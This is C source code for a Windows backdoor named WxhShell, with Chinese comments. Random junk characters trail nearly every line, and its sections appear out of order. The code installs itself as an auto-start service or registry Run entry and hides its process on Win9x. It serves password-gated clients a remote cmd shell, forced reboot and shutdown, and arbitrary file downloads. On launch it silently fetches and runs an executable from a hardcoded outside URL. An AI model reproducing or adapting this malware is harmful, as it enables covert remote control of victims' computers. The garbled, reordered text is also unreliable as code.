    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^1S(6'a#  
    if(Boot(SHUTDOWN))  P-QZ=dm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]W%<<S  
    else { v }ZQC8wL  
    closesocket(wsh); eg-,;X#  
    ExitThread(0); eJ#q! <   
    } ``}EbOMG  
    break; 8:,l+[\  
    } X] &Q^  
  // 获取shell m>'sM1s  
  case 's': { (;'?56  
    CmdShell(wsh); <gKT7ONtg  
    closesocket(wsh); 1G+42>?<1  
    ExitThread(0); Ed)t87E  
    break; |,Y(YSg.  
  } A@ EeX4N  
  // 退出 xS`>[8?3<T  
  case 'x': { g Xvuv^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /AP@Bhm  
    CloseIt(wsh); F"3PP ~  
    break; F%x8y  
    } j']m*aM1>  
  // 离开 *O|Z[>  
  case 'q': { Llk4 =p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C_Y^<  
    closesocket(wsh); ^~2GhveBV  
    WSACleanup(); nmVL%66K  
    exit(1); W@1Nit-R  
    break; _d&FB~=  
        } 5TVDt  
  } },'2j  
  } hof:+aW  
@ Sw[+`  
  // 提示信息 0*q&)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A\_cGM2  
} 2hl'mRW  
  } XU .FLNe  
WLEjRx  
  return; RJ1 Q.o  
} -1~bWRYq  
Qj?FUxw  
// shell模块句柄 $z]gy]F  
int CmdShell(SOCKET sock) g#;w)-Zj  
{ 70l"[Y  
STARTUPINFO si; &CFHH"OsT  
ZeroMemory(&si,sizeof(si)); /v E>*x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B]q &?~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3ADT Yt".  
PROCESS_INFORMATION ProcessInfo; ` IiAtS  
char cmdline[]="cmd"; =)(o(bfSKr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "8aw=3A  
  return 0; iNgHx[*?  
} XS]=sfN  
*BT-@V.4  
// 自身启动模式 ojzO?z  
int StartFromService(void) 6yKr5tH4  
{ 6e$(-ai  
typedef struct lN)U8  
{ EaG3:<>J  
  DWORD ExitStatus; ,Utp6X  
  DWORD PebBaseAddress; 67Z|=B !7  
  DWORD AffinityMask; . Yg)|/  
  DWORD BasePriority; !q! =VC  
  ULONG UniqueProcessId; RZ9vQ\X U)  
  ULONG InheritedFromUniqueProcessId; 7E4=\vM  
}   PROCESS_BASIC_INFORMATION; vAi kd#C)  
T@uY6))>F  
PROCNTQSIP NtQueryInformationProcess; Nrva?W_i  
Iw8;",e2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G:$wdT(u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Iu^# +n  
6|t4\'  
  HANDLE             hProcess; BCk$FM@  
  PROCESS_BASIC_INFORMATION pbi; iVzv/Lqm1  
nk]jIR y^T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z +@"  
  if(NULL == hInst ) return 0; r>sk@[4h  
@!&\Z[",  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z}TuVE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SY_T\ }  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0m6Vf x  
EX7cjQsml  
  if (!NtQueryInformationProcess) return 0; !-%i" a  
bN@V=C3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZkkXITQkPM  
  if(!hProcess) return 0; wX" 6 S:  
5zX;/n~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /i$E|[  
&aldnJ  
  CloseHandle(hProcess); /pZLt)=P  
Xz&Hfs"/J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kehv85  
if(hProcess==NULL) return 0; kN >%y&cK  
c%r?tKG6  
HMODULE hMod; )V%xbDdS  
char procName[255]; (Sr&Y1D  
unsigned long cbNeeded; pj G6v(zK  
z _~f/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7^#f<m;Ar!  
eyy{z;D8r  
  CloseHandle(hProcess); ngj=w;7~+  
}9 N, +*  
if(strstr(procName,"services")) return 1; // 以服务启动 n;)!N  
| Uf6k`  
  return 0; // 注册表启动 v-J*PB.0p  
} ;(fDR8  
Q5b?- P  
// 主模块 h.ojj$f,  
int StartWxhshell(LPSTR lpCmdLine) i)g=Lew  
{ mK5<;$  
  SOCKET wsl; LX'.up11X5  
BOOL val=TRUE; \B8tGog  
  int port=0; z;@;jQ7  
  struct sockaddr_in door;  pI|Lt  
uuHR!  
  if(wscfg.ws_autoins) Install(); 3:7J@>  
-z./6dQ  
port=atoi(lpCmdLine); :TqvL'9o  
QpwOrxI}  
if(port<=0) port=wscfg.ws_port; t/LQ|/xo  
,J"6(nk  
  WSADATA data; EFu2&P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '{p/F $  
j1%o+#df  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;BUJ5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4=td}%  
  door.sin_family = AF_INET; Uc%(#I]Mi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b26#0;i  
  door.sin_port = htons(port); G1z[v3T  
$Mm=5 K%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (wU<Kpt?J  
closesocket(wsl); B> *zQb2:  
return 1; O%;H#3kn&s  
} %eB0 )'  
F0W4B  
  if(listen(wsl,2) == INVALID_SOCKET) { S:4'k^E  
closesocket(wsl); a,tzt ]>  
return 1; lfp[(Ph)9  
} MWl?pG!Y  
  Wxhshell(wsl); [ X]yj  
  WSACleanup(); kg?[   
=<R")D]4z  
return 0; 2jV.\C k  
{m~.'DU  
} \7rFfN3  
B:#5U85m  
// 以NT服务方式启动 2K4Jkyi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7Vd"k;:X  
{ Rd@34"O  
DWORD   status = 0; V TQ V]>|  
  DWORD   specificError = 0xfffffff; A5cx!h  
. >[d:0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cih@: =Qy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v7&oHOk!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ["Mq  
  serviceStatus.dwWin32ExitCode     = 0; xDU>y  
  serviceStatus.dwServiceSpecificExitCode = 0; lx$]f)%~  
  serviceStatus.dwCheckPoint       = 0; 'QW/TJ=7r  
  serviceStatus.dwWaitHint       = 0; 6x|"1 G{  
'8\7(0$c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V/5.37FSb  
  if (hServiceStatusHandle==0) return; 6t/nM  
P1KXvc}JGe  
status = GetLastError(); m}&cXY  
  if (status!=NO_ERROR) vaN}M)W/  
{ GSo&$T;B6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )Be?axI  
    serviceStatus.dwCheckPoint       = 0; d5h]yIz^  
    serviceStatus.dwWaitHint       = 0; 7Mq4$|qhD  
    serviceStatus.dwWin32ExitCode     = status; 4j^-n_T  
    serviceStatus.dwServiceSpecificExitCode = specificError; vFKX@wV S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DT *'r;  
    return; 4Gz5Ju  
  } ?}|l )  
7R9.g6j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qNb|6/DG  
  serviceStatus.dwCheckPoint       = 0; kHLpa/A  
  serviceStatus.dwWaitHint       = 0; zj:= 9$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !lQGoXQ'4  
} X,-QxV=lc)  
ev~/Hf  
// 处理NT服务事件,比如:启动、停止 -}avH  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  .>?h  
{ aDEz |>q  
switch(fdwControl) >SRUC  
{ W*?mc2;/  
case SERVICE_CONTROL_STOP: Tj5G /H>   
  serviceStatus.dwWin32ExitCode = 0; Z3jh-{0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }*eiG  
  serviceStatus.dwCheckPoint   = 0; |m{Q_zAB  
  serviceStatus.dwWaitHint     = 0; 8 Z|c!QIU  
  { qYpuo D   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M]9oSi  
  } >d#oJ?goX  
  return; YDh6XD<Z  
case SERVICE_CONTROL_PAUSE: Z{-x}${  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Zx$q,Zo<  
  break; qkQ _#  
case SERVICE_CONTROL_CONTINUE: 0zH^yx:ma  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'lmZ{a6  
  break; { a2Y7\C/  
case SERVICE_CONTROL_INTERROGATE: xW|^2k  
  break; 7C~qAI6Eg  
}; fDe4 [QQ8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 55lL aus  
} p }p1>-j  
0LI:R'P+P[  
// 标准应用程序主函数 2K >tI9);  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F:$Dz?F0v  
{ 'zYKG5A  
Ve/"9 ?Y_  
// 获取操作系统版本 w\(LG_n|  
OsIsNt=GetOsVer(); V[E7 mhqy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6 0C;J!D  
n =SY66  
  // 从命令行安装 jC_7cAsl  
  if(strpbrk(lpCmdLine,"iI")) Install(); bOIVe  
%Xm3m0nsv{  
  // 下载执行文件 VrG4wLpLs  
if(wscfg.ws_downexe) { 8R !3}kx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !r=^aa(\  
  WinExec(wscfg.ws_filenam,SW_HIDE); X`xI~&t_  
} Z)iRc$;  
r]!<iw  
if(!OsIsNt) { 7\.Ax  
// 如果时win9x,隐藏进程并且设置为注册表启动 PT2b^PP  
HideProc(); "= H.$ +  
StartWxhshell(lpCmdLine); E>_?9~8Mf  
}  }qf9ra  
else *7`N^e  
  if(StartFromService()) O_ }ZSB8"  
  // 以服务方式启动 - 0t  
  StartServiceCtrlDispatcher(DispatchTable); XD1 x*#  
else iC U [X&  
  // 普通方式启动 wLa^pI4p ^  
  StartWxhshell(lpCmdLine); bXN-q!  
&5 *)r@+  
return 0; TF\<`}akX  
} sOyWsXd+R'  
5fh@nR  
Z=;+) #,  
|. bp  
=========================================== TmN}TMhZ  
>{DHW1kF?  
fVR:m`'Iq_  
 eiLtZQ  
WA);Z=  
hl4@Y#n  
" &&1q@m,cP  
Sr7+DCr  
#include <stdio.h> !*46@sb:  
#include <string.h> >.R6\>N%  
#include <windows.h> S6sSdo'  
#include <winsock2.h> 4fDo}~  
#include <winsvc.h> ' pE %'8R  
#include <urlmon.h> )B d`N^k+  
 L_+0[A  
#pragma comment (lib, "Ws2_32.lib") Dl862$_Q  
#pragma comment (lib, "urlmon.lib") `_2#t1`u  
+MQvq\%tG  
#define MAX_USER   100 // 最大客户端连接数 7f4R5c  
#define BUF_SOCK   200 // sock buffer S}"?#=Q.%O  
#define KEY_BUFF   255 // 输入 buffer >40B Fxc  
Q:LyD!at  
#define REBOOT     0   // 重启 ~ "l a2  
#define SHUTDOWN   1   // 关机 vP G!S{4  
qA- ya6  
#define DEF_PORT   5000 // 监听端口 -t9oL3J  
'-jKv=D+  
#define REG_LEN     16   // 注册表键长度 D\Y)E#%,  
#define SVC_LEN     80   // NT服务名长度 !$q1m@K1  
?Y"bt^4j  
// 从dll定义API d}f| HOFq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~A8%[.({5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?KxI|os  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Rl4r 9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `R@24 )  
lY}mrb  
// wxhshell配置信息 ;F&wGe  
struct WSCFG { ^H+j;K{5,  
  int ws_port;         // 监听端口 @LY 5]og  
  char ws_passstr[REG_LEN]; // 口令 ~A0E4UJgq  
  int ws_autoins;       // 安装标记, 1=yes 0=no UT [9ERS  
  char ws_regname[REG_LEN]; // 注册表键名 ;(w=}s%]+  
  char ws_svcname[REG_LEN]; // 服务名 ` w Sg/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q, E!Ew3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ` n{rzenPX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zIbl[[M&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BfOG e!Si  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  =erA.u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Vvx(7p-GQ  
$"{V],:T |  
}; ;>=hQC{f>  
|Sg *j-.  
// default Wxhshell configuration TGLkwXOkT  
struct WSCFG wscfg={DEF_PORT, oWyg/{M  
    "xuhuanlingzhe", [BhpfZNKRA  
    1, S&-sl   
    "Wxhshell", sF;1)7]Pq  
    "Wxhshell", .Jdw:  
            "WxhShell Service", ?Di, '  
    "Wrsky Windows CmdShell Service", ?xf59mY7  
    "Please Input Your Password: ", yZ&By?.0  
  1, [ hj|8)  
  "http://www.wrsky.com/wxhshell.exe", w8%yX$<  
  "Wxhshell.exe" F *; +-e  
    }; +ZXGT  
mxHNK4/  
// 消息定义模块 _}]o~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4\(;}M-R{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y,D\_il_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,Ucb)8a  
char *msg_ws_ext="\n\rExit."; HZQI|  
char *msg_ws_end="\n\rQuit."; }jd[>zk  
char *msg_ws_boot="\n\rReboot..."; eEsEW<su  
char *msg_ws_poff="\n\rShutdown..."; i/xPO  
char *msg_ws_down="\n\rSave to "; HqgTu`  
nGW wXySq  
char *msg_ws_err="\n\rErr!"; if5Y!Tx?G  
char *msg_ws_ok="\n\rOK!"; z@y* jT  
$#4z>~0  
char ExeFile[MAX_PATH]; [v-?MS  
int nUser = 0; 17D167\X  
HANDLE handles[MAX_USER]; }sy3M rb  
int OsIsNt; LWbWj ^  
MC#bo{Bq3-  
SERVICE_STATUS       serviceStatus; gb(\c:yg1R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v03~=(  
tBBN62^ X  
// 函数声明 (Xq eX(s  
int Install(void); Cu;X{F'H  
int Uninstall(void); q1dYiG.-Z  
int DownloadFile(char *sURL, SOCKET wsh); 5, Yk5?l<'  
int Boot(int flag); v,>F0ofJ  
void HideProc(void); tzpGKhrk6  
int GetOsVer(void); jo<sN  
int Wxhshell(SOCKET wsl); N 5/TV%u  
void TalkWithClient(void *cs); 0'97af  
int CmdShell(SOCKET sock); =< CH(4!  
int StartFromService(void); D~f.)kkC4  
int StartWxhshell(LPSTR lpCmdLine); .M>u:,v  
RAE|eTnna  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q X@&~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j{_MDE7N  
qC\$>QU}  
// 数据结构和表定义 SO p%{b  
SERVICE_TABLE_ENTRY DispatchTable[] = e^'?:j  
{ M`?/QU~  
{wscfg.ws_svcname, NTServiceMain}, \f66ipZK*  
{NULL, NULL} ip5s'S~  
}; A94VSUDA:  
.h+<m7  
// 自我安装 YSrFHVq  
int Install(void) ObM5vrEk|  
{ FeV=4tsy  
  char svExeFile[MAX_PATH]; UjKHGsDi4  
  HKEY key; D'nV &m  
  strcpy(svExeFile,ExeFile); &I(|aZx?J  
)%j)*Ymz;  
// 如果是win9x系统,修改注册表设为自启动 6l_8Q w*5I  
if(!OsIsNt) { l3g6y 9;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 30H:x@='9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %\b5)p  
  RegCloseKey(key); 6AQ;P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #-lk=>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r LfS9H  
  RegCloseKey(key); }Xc|Z.6  
  return 0; CKBi-q FH  
    }  Mx r#  
  } 5 h{Hf]A  
} LnJ7i"Q  
else { coLn};W2  
t*}<v@,  
// 如果是NT以上系统,安装为系统服务 8=nm`7(]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }p- %~ Y  
if (schSCManager!=0) 5Rec}H  
{ :m$%D]WY  
  SC_HANDLE schService = CreateService ^d=Z/d[  
  ( {Zseu$c  
  schSCManager, ,}2j Fb9z4  
  wscfg.ws_svcname, ;%k%AXw  
  wscfg.ws_svcdisp, t#pY2!/T3  
  SERVICE_ALL_ACCESS, Gc 8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .`h+fqa  
  SERVICE_AUTO_START, 15eHddd  
  SERVICE_ERROR_NORMAL, l%w7N9  
  svExeFile, z:fhq:R(  
  NULL, U_8I$v-~  
  NULL, d?{2A84S  
  NULL, '\_)\`a|  
  NULL, fglZjT  
  NULL T8m%_U#b  
  ); ZRQPOy  
  if (schService!=0) !CMN/=  
  { sN?:9J8  
  CloseServiceHandle(schService); YJL=|v  
  CloseServiceHandle(schSCManager); X1'Ze,34  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ud#8`/!mq  
  strcat(svExeFile,wscfg.ws_svcname); &1u ?W%(Px  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O0{v`|w9+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RCX4;,DHx  
  RegCloseKey(key); B+B v(p  
  return 0; Z\7bp&&  
    } rFK *  
  } AN1bfF:C  
  CloseServiceHandle(schSCManager); z`2d(KE?  
} kt:%]ZZL  
} 6?iP z?5  
dk]ro~ [  
return 1; Lul?@>T  
} VN".NEL  
Ce)Wvuh  
// 自我卸载 , XR8qi~  
int Uninstall(void) P4AdfHk  
{ 7>mYD3  
  HKEY key; ,Z^GN%Q7a  
V9bLm,DtT  
if(!OsIsNt) { }wb;ulN)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 `AE]  
  RegDeleteValue(key,wscfg.ws_regname); |V7a26h  
  RegCloseKey(key); (1HN, iJy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0z xeA +U  
  RegDeleteValue(key,wscfg.ws_regname); MtB:H*pM  
  RegCloseKey(key); $G}Q}f  
  return 0; 7U7 i2 4  
  } n%0vQ;Z1  
} 6qDD_:F  
} m{yON&y  
else { O:x%!-w  
eC39C2q\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .KSGma6]  
if (schSCManager!=0) U,S286  
{ Og npzN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;Vy'y  
  if (schService!=0) ?yb{DZ46  
  { F{+`F<r  
  if(DeleteService(schService)!=0) { <coCu0  
  CloseServiceHandle(schService); el%Qxak`"  
  CloseServiceHandle(schSCManager); Oe!&Jma*>  
  return 0; mx4*zj  
  } 5S? yj  
  CloseServiceHandle(schService); Sx"I]N  
  } ;$Jvqq|T  
  CloseServiceHandle(schSCManager); OXB-.<  
} jFv<]D%A[  
} }+J@;:  
MO/N*4U2  
return 1; 0}V'\=F454  
} "!?bC#d#(  
Hdx|k=-Q^  
// 从指定url下载文件 NZ5~\k  
int DownloadFile(char *sURL, SOCKET wsh) e8 aV qq[  
{ 3lN+fQ>)S  
  HRESULT hr; +GS=zNw#  
char seps[]= "/"; O2dgdtm  
char *token; -c@ 5qe>  
char *file; WRyLpTr-  
char myURL[MAX_PATH]; 7p$*/5fk  
char myFILE[MAX_PATH]; M(uB ;Te  
I>#ChV)(#  
strcpy(myURL,sURL); eHe /w9`$R  
  token=strtok(myURL,seps); '4sD1LD~}  
  while(token!=NULL) QO/7p]$_  
  { I "2FTGA  
    file=token;  &7&*As  
  token=strtok(NULL,seps); R <\Yg3m8  
  } oZ[ w  
2*YXm>|1  
GetCurrentDirectory(MAX_PATH,myFILE); jt--w"|-r  
strcat(myFILE, "\\"); ie5ijkxZ(  
strcat(myFILE, file); qu+2..3  
  send(wsh,myFILE,strlen(myFILE),0); ;@ X   
send(wsh,"...",3,0); J9.p8A^^2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T+h{Aeg  
  if(hr==S_OK) nF$)F?||  
return 0; 4>C=:w  
else iQ C&d_#  
return 1; @I6A9do  
guXpHF=  
} F|`B2Gr  
l:yAgm`  
// 系统电源模块 !!%nl_I(  
int Boot(int flag) $ow`)?sh  
{ O>5u5n  
  HANDLE hToken; L6=RD<~C  
  TOKEN_PRIVILEGES tkp; `Kw8rG\]:  
< DZ76  
  if(OsIsNt) { _hL4@ C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @~G`~8   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aB6LAb2z;T  
    tkp.PrivilegeCount = 1; *js$r+4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !>Y\&zA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,<r3Z$G  
if(flag==REBOOT) { pbxcsA\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FXEfD"  
  return 0; WTv\HI2X !  
} dS_)ll.6z  
else { Le:mMd= G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mqf}Aiqk;  
  return 0; `4$Qv'X*  
} D)7$M]d%  
  } ^_h7!=W  
  else { C{i;spc!bi  
if(flag==REBOOT) { D4]B>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~w9 =Fd6  
  return 0; `$a gM@"^  
} o ]jP3 $t;  
else { (My$@l973  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jy@i(@Z  
  return 0; -Dq:Y,%q  
} t:s q*d  
} ! }?jCpp  
4'hcHdL9   
return 1; c ^bk:=uj  
} dtnet_j  
D62 NU  
// win9x进程隐藏模块 ck_fEF  
void HideProc(void) X8SRQO^  
{ grxl{uIC8  
V]kGcS}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i@R$g~~-D  
  if ( hKernel != NULL ) 9C)3 b3  
  { ]F* a PV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hn\Q6f+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zPh\3B  
    FreeLibrary(hKernel); Xz .Y-5)  
  } mV*/zWh_  
8u'O` j  
return; =6:L+ V  
} T<e7(=  
d:<H?~  
// 获取操作系统版本 MjXE|3&  
int GetOsVer(void) hN_f h J  
{ Am4^v?q  
  OSVERSIONINFO winfo; W6Aj<{\F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^*x Hy`  
  GetVersionEx(&winfo); 1S(\2{Ylo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %w8GGm8^/  
  return 1; _:Jp*z  
  else 71.\`'  
  return 0; oAZF3h]po  
} lHKf#|  
-?YTQ@ W  
// 客户端句柄模块 z'oiyXEE3  
int Wxhshell(SOCKET wsl) W\qLZuQ  
{ #3Ej0"A@-B  
  SOCKET wsh; h#m:Y~GoF  
  struct sockaddr_in client; $# !UGY  
  DWORD myID; .Y(lB=pV  
RE>ks[  
  while(nUser<MAX_USER) %t~SOkx  
{ b WbXh$  
  int nSize=sizeof(client); E<<p_hX8R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U7B/t3,=U  
  if(wsh==INVALID_SOCKET) return 1; QSF"8Uk  
{ 8f+h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v"~Do+*+  
if(handles[nUser]==0) K4k~r!&OU  
  closesocket(wsh); M6jp1:ZH2q  
else W[>iJJwz  
  nUser++; )v52y8G-p  
  } 4j@i%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \/*Nf?;  
IObx^N_K  
  return 0; _}e7L7B7g  
} fzS`dL5,W  
Z6^QB@moj  
// 关闭 socket @1qdd~B}  
void CloseIt(SOCKET wsh) 9:%n=URd  
{ n|x$vgb  
closesocket(wsh); AUxM)H  
nUser--; (/SGT$#8  
ExitThread(0); i>Fvmw  
} P1i*u0a  
^}o7*   
// 客户端请求句柄 %-# q O  
void TalkWithClient(void *cs) ;Rhb@]X  
{ dCZ\ S91q  
#`La|a.-  
  SOCKET wsh=(SOCKET)cs; V\6(d  
  char pwd[SVC_LEN]; Zn@W7c,_I  
  char cmd[KEY_BUFF]; 3$c(M99r  
char chr[1]; Z6Nj<2u2  
int i,j; zb5N,!%r  
,M) k7t:  
  while (nUser < MAX_USER) { _\dt?(m|  
SPkKiEdM  
if(wscfg.ws_passstr) { 20UqJM8 Ot  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z&FkLww  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K4!P'  
  //ZeroMemory(pwd,KEY_BUFF); P3iA(3I24<  
      i=0; X"[dQ_o  
  while(i<SVC_LEN) { k7^R,.c@  
'ySljo*It  
  // 设置超时 ~n[b^b  
  fd_set FdRead; =s'XR@  
  struct timeval TimeOut; &:V@2_6"  
  FD_ZERO(&FdRead); ,AH0*L  
  FD_SET(wsh,&FdRead); 4K9Rpm  
  TimeOut.tv_sec=8; 'aD6>8/Hj  
  TimeOut.tv_usec=0; &P 8!]:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `,wc Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u12zRdn  
8RdP:*HY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E@w[&#  
  pwd=chr[0]; 'h-3V8m^e  
  if(chr[0]==0xd || chr[0]==0xa) { J=UZ){c>:.  
  pwd=0; d5DP^u  
  break; $]@O/[  
  } 5x8'K7/4.  
  i++; Tu]&^[B('  
    } Y4mC_4EU  
`gBD_0<T7  
  // 如果是非法用户,关闭 socket _QR g7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8> UKIdp  
} Fr-[UZ~V  
F:%^&%\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M h`CP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k$C"xg2  
Dp*:Q){>E  
while(1) { 8q?;2w\l  
mZwi7s&u  
  ZeroMemory(cmd,KEY_BUFF); W*k`  
v&xKi>A il  
      // 自动支持客户端 telnet标准   z!fdx|PUX  
  j=0; u(W^Nou/+  
  while(j<KEY_BUFF) { c~P)4(udT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f1A_`$>  
  cmd[j]=chr[0]; ,I]7g4~  
  if(chr[0]==0xa || chr[0]==0xd) { !#q{Z>H`  
  cmd[j]=0; FbveI4  
  break; /H')~!Yz  
  } 2Ok?@ZdjA{  
  j++; mc?';dEG  
    } a`#S|'oatC  
MDk*j,5V  
  // 下载文件 +%P t_  
  if(strstr(cmd,"http://")) { Vo%Yf9C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *|mz_cKu  
  if(DownloadFile(cmd,wsh)) |U#DUqw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wG+=}1X  
  else o]A XT8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;Xqn-R  
  } )o{VmXe@@  
  else { o,CBA;{P  
L?!$EPr  
    switch(cmd[0]) { *ksb?|<Ot  
  "Nbos.a]5  
